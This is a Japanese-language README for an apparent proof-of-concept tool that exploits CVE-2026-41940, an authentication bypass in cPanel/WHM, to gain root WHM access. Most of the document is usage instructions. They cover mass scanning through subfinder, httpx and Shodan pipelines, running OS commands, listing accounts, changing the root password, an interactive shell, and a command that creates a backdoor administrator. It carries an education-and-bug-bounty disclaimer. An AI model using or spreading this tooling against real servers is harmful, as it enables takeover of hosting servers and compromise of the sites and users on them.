ctdal/cve-2026-41940-poc
CVE-2026-41940（cPanel/WHMの認証バイパス）を悪用し、root権限でのWHMアクセスを取得して、ポストエクスプロイトコマンドの実行、アカウント一覧の取得、対話型シェルセッションを行う。
⚠ このツールは教育またはバグバウンティの目的のみで作成されています。管理された環境外での不正使用は固く禁止されています。
CVE-2026-41940 を悪用するためのツールです。これは cPanel & WHM における重大な認証バイパス（CVSS 10.0）であり、認証されていない攻撃者が Authorization ヘッダーを介してサーバー側のセッションファイルに CRLF シーケンスを注入することで、root レベルの WHM アクセスを取得できるようにします — 認証情報は不要です。
CVE-2026-41940 は、一般的に言えば、cPanel/WHM における認証セッションの処理方法の破綻を悪用されます。攻撃は通常、ログインインターフェースへの通常のリクエストから始まり、アプリケーションがユーザー認証情報を完全に検証する前にセッションを早期に初期化します。セッション関連の入力の不適切な処理により、特定の細工された、または予期しない入力構造が、サーバーによるセッションデータの保存または解釈の方法を変更する可能性があります。
| バージョン | 脆弱 | 修正済み |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/ctdal/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
このツールは対象ドメインの指定を必要とします。
単一ターゲットモード:
python cve.py -u https://target1.com:2083
target.txt ファイルからスキャンすることもできます（作成してください）:
python cve.py -l target.txt -t 50 -o result.json
利用可能なコマンド:
python cve.py -u https://victim1.com:2083 # single target scan
python cve.py info -u https://victim1.com:2083 # Retrieves system information (version, load, disk usage).
python cve.py host -u https://victim1.com:2083 # Retrieves the hostname of the target server.
# List all accounts on the server
python cve.py list -u https://target.com:2087
# OS command
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# Get server info (hostname, disk, MySQL host)
python cve.py info -u https://target.com:2087
# Change root password
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# Interactive WHM shell
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# From scope list
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Shodan results
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# Multiple sources combined
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
実行が成功した後、インタラクティブな WHM シェルを開くことができます:
python cve.py shell -u
| コマンド | 説明 |
|---|---|
id | ユーザー ID を表示 |
hostname | サーバーのホスト名を取得 |
accounts | すべてのユーザーアカウントを一覧表示 |
info | 負荷、ディスク、MySQL ホスト、バージョン |
cat <path> | ファイルの内容を読み取る |
exec <cmd> | OS コマンドを実行 |
newadmin <user> <pass> | バックドア WHM 管理者を作成 |
passwd <pass> | root パスワードを変更 |
l [path] | ディレクトリを一覧表示 |
help | すべてのコマンドを表示 |
exit | シェルモードを終了 |
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
⚠ このツールは教育またはバグバウンティの目的のみで作成されています。管理された環境外での不正使用は固く禁止されています。